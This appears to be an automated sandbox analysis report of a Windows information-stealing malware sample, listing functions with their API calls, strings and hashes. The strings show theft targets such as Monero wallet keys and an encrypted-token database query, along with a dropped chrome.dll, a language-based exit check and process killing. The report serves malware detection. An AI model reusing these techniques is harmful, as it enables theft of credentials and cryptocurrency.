Opcode ID: d968c878aa3d6b040c207256c2b5a1c43d6676f96761ae60ba115164db311523
Instruction ID: f4037115c3c19f2c39eea7a6cd223b94a3f70d4b8798d3e42fab4292a9f094bb
Opcode Fuzzy Hash: d968c878aa3d6b040c207256c2b5a1c43d6676f96761ae60ba115164db311523
Instruction Fuzzy Hash: 280112B5A40309BFEB14DBE4DD4AFAEB7B8EB44700F1045A8F625A7385D7706A40CB90

Function 00EABA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

lstrlen.KERNEL32(00000000), ref: 00EABC6F

Part of subcall function 00EB8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EB8FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 00EABC9D
lstrlen.KERNEL32(00000000), ref: 00EABD75
lstrlen.KERNEL32(00000000), ref: 00EABD89

Strings

AccountTokens, xrefs: 00EABA8A
AccountTokens, xrefs: 00EABB19
AccountId, xrefs: 00EABC94
SELECT service, encrypted_token FROM token_service, xrefs: 00EABBBB

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 5f3f70fd3715653d3664a5ba883340278da789efb1506380892b5d651b98ea6f
Instruction ID: 087629aab905ef9b6c8d5a079843f3459ba2eaa96867a24e07d9f2e439de37ee
Opcode Fuzzy Hash: 5f3f70fd3715653d3664a5ba883340278da789efb1506380892b5d651b98ea6f
Instruction Fuzzy Hash: CFB15571910108ABCF14FBA0DD96EEF77B9AF14300F4455B8F51676192EF346A48CB62

Function 00EB6A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00EB6A14
ExitProcess.KERNEL32 ref: 00EB6A45
ExitProcess.KERNEL32 ref: 00EB6A4F
ExitProcess.KERNEL32 ref: 00EB6A59
ExitProcess.KERNEL32 ref: 00EB6A63
ExitProcess.KERNEL32 ref: 00EB6A6D

Strings

*, xrefs: 00EB6A2C

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 74910f8ec28889e11b32ff89a6436b1d1809bc3628c83d74511f2c1f33dca82c
Instruction ID: 014dfabcdad48cbac9f1d4eff8ac6414c976c70c74b526a2ec4f3800420e5654
Opcode Fuzzy Hash: 74910f8ec28889e11b32ff89a6436b1d1809bc3628c83d74511f2c1f33dca82c
Instruction Fuzzy Hash: 12F05E30909209EFD758AFE0F80D7ACBB31EB04707F1141B5F629B66C4D6744A809B51

Function 00EB08A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EB9850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00EB08DC,C:\ProgramData\chrome.dll), ref: 00EB9871

Part of subcall function 00EAA090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00EAA098

StrCmpCA.SHLWAPI(00000000,01BFA048), ref: 00EB0922
StrCmpCA.SHLWAPI(00000000,01BF9F48), ref: 00EB0B79
StrCmpCA.SHLWAPI(00000000,01BF9F68), ref: 00EB0A0C

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00EB0C35

Strings

C:\ProgramData\chrome.dll, xrefs: 00EB0C30
C:\ProgramData\chrome.dll, xrefs: 00EB08CD

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: 7668a5d9c83fe9d424cb6af39747d275e1d8ecb3c102e090b626ef96c808937a
Instruction ID: 79422ddfb471bd3ec78cc228d83dfc36b495c2887afe617f0e66e1fc7582f953
Opcode Fuzzy Hash: 7668a5d9c83fe9d424cb6af39747d275e1d8ecb3c102e090b626ef96c808937a
Instruction Fuzzy Hash: 89A156717002089FCF28EF64D996EEE77B6AF95300F54956DE40A6F341DA30AA05CB92

Function 00F1F9E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00F1FA1F
___except_validate_context_record.LIBVCRUNTIME ref: 00F1FA27
_ValidateLocalCookies.LIBCMT ref: 00F1FAB0
__IsNonwritableInCurrentImage.LIBCMT ref: 00F1FADB
_ValidateLocalCookies.LIBCMT ref: 00F1FB30

Strings

csm, xrefs: 00F1FAC5

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction ID: f218ed2d84e0af8985aab4d01119523c09fcd33306f1fbe9517170843e45e505
Opcode Fuzzy Hash: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction Fuzzy Hash: 6541B331D00219EFCF10DF68CC84ADE7BB5BF49324F148165E818AB392D7399989DB91

Function 00EA5000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00EA501A
RtlAllocateHeap.NTDLL(00000000), ref: 00EA5021
InternetOpenA.WININET(00EC0DE3,00000000,00000000,00000000,00000000), ref: 00EA503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00EA5061
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00EA5091
InternetCloseHandle.WININET(?), ref: 00EA5109
InternetCloseHandle.WININET(?), ref: 00EA5116

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: ebb3b52c405ef4791c0ef42905e707b64a3915d48c1932ffd74f0b0d79284f9a
Instruction ID: 47d8f326fb438a754591634f99e0240617c1cbdd590d6b0723c911d164e8f950
Opcode Fuzzy Hash: ebb3b52c405ef4791c0ef42905e707b64a3915d48c1932ffd74f0b0d79284f9a
Instruction Fuzzy Hash: 4631F6B5A40218ABDB24CF54DC89BDDB7B5AB48304F1081E8FA09B7381D7706EC58F98

Function 00EB8290 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01BFEF38,00000000,?,00EC0E14,00000000,?,00000000), ref: 00EB82C0
RtlAllocateHeap.NTDLL(00000000), ref: 00EB82C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00EB82E8
wsprintfA.USER32 ref: 00EB833C

Strings

@, xrefs: 00EB82DD
%d MB, xrefs: 00EB8333

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 99e3a7b626ca632431708ccd5630dd6b92944852b13d37747b1285a638dbabdf
Instruction ID: a9658fac023732233bb7c9a437ebbd9dba129b560cd29dfe8c0554988207a018
Opcode Fuzzy Hash: 99e3a7b626ca632431708ccd5630dd6b92944852b13d37747b1285a638dbabdf
Instruction Fuzzy Hash: C721F4B1E44208ABDB14DFD4CD4AFAFB7B8EB44B14F104629F615BB280D77869008BA5

Function 00EB856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00EB85B6
wsprintfA.USER32 ref: 00EB85E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00EB860B
RegCloseKey.ADVAPI32(00000000), ref: 00EB861C
RegCloseKey.ADVAPI32(00000000), ref: 00EB8629

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

RegQueryValueExA.ADVAPI32(00000000,01BFEE00,00000000,000F003F,?,00000400), ref: 00EB867C
lstrlen.KERNEL32(?), ref: 00EB8691
RegQueryValueExA.ADVAPI32(00000000,01BFEF08,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00EC0B3C), ref: 00EB8729
RegCloseKey.ADVAPI32(00000000), ref: 00EB8798
RegCloseKey.ADVAPI32(00000000), ref: 00EB87AA

Strings

%s\%s, xrefs: 00EB85DD

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 9e4e4c81629156b3c7a5f40dcef8006a0d207a66e147580d7d444a127e74245c
Instruction ID: 61aa69f3faaef599ce755ea19ad5a5e70c5850cfb9daf182c5fa80f009a7ed72
Opcode Fuzzy Hash: 9e4e4c81629156b3c7a5f40dcef8006a0d207a66e147580d7d444a127e74245c
Instruction Fuzzy Hash: 8B21EB7191021CABDB24DB54DD85FE9B3B8FB48704F1081E9E619A6280DF716AC5CFE4

Function 00EB99A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00EB99C5
Process32First.KERNEL32(00EAA056,00000128), ref: 00EB99D9
Process32Next.KERNEL32(00EAA056,00000128), ref: 00EB99F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00EB9A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00EB9A6C
CloseHandle.KERNEL32(00000000), ref: 00EB9A79
CloseHandle.KERNEL32(00EAA056), ref: 00EB9A88

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 1f5a502337edfacfc45b9c273aaf16d5b7cbb73a394f78b7eddae119ce7ac274
Instruction ID: 745b5d2820008c7b003214bc1ef252d1edf831e00ed48431bde5435c1989cb67
Opcode Fuzzy Hash: 1f5a502337edfacfc45b9c273aaf16d5b7cbb73a394f78b7eddae119ce7ac274
Instruction Fuzzy Hash: C821FC75900218EBDB35DFA1D888BEEB7B9BB48304F1041D8E619A6284D7749EC4CF90

Function 00EB7820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EB7834
RtlAllocateHeap.NTDLL(00000000), ref: 00EB783B
RegOpenKeyExA.ADVAPI32(80000002,01BECE80,00000000,00020119,00000000), ref: 00EB786D
RegQueryValueExA.ADVAPI32(00000000,01BFEE90,00000000,00000000,?,000000FF), ref: 00EB788E
RegCloseKey.ADVAPI32(00000000), ref: 00EB7898

Strings

Windows 11, xrefs: 00EB784D

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: e004b7c629892ee2a400bbf788070d75f30de4764c68100f0d735da45bb93cdb
Instruction ID: 97b034a49a34b99381c1a5e08c717ed4d5ec211be97a7f6c7b1c3ba25cc61397
Opcode Fuzzy Hash: e004b7c629892ee2a400bbf788070d75f30de4764c68100f0d735da45bb93cdb
Instruction Fuzzy Hash: D701F475A44305BBE718DBE4DD4DFAE7779EB84700F104068FA55A6784D6709940CB50

Function 00EB9470 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(>=,80000000,00000003,00000000,00000003,00000080,00000000,?,00EB3D3E,?), ref: 00EB948C
GetFileSizeEx.KERNEL32(000000FF,>=), ref: 00EB94A9
CloseHandle.KERNEL32(000000FF), ref: 00EB94B7

Strings

>=, xrefs: 00EB94A1, 00EB94CD, 00EB94A4
>=, xrefs: 00EB9488, 00EB948B

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
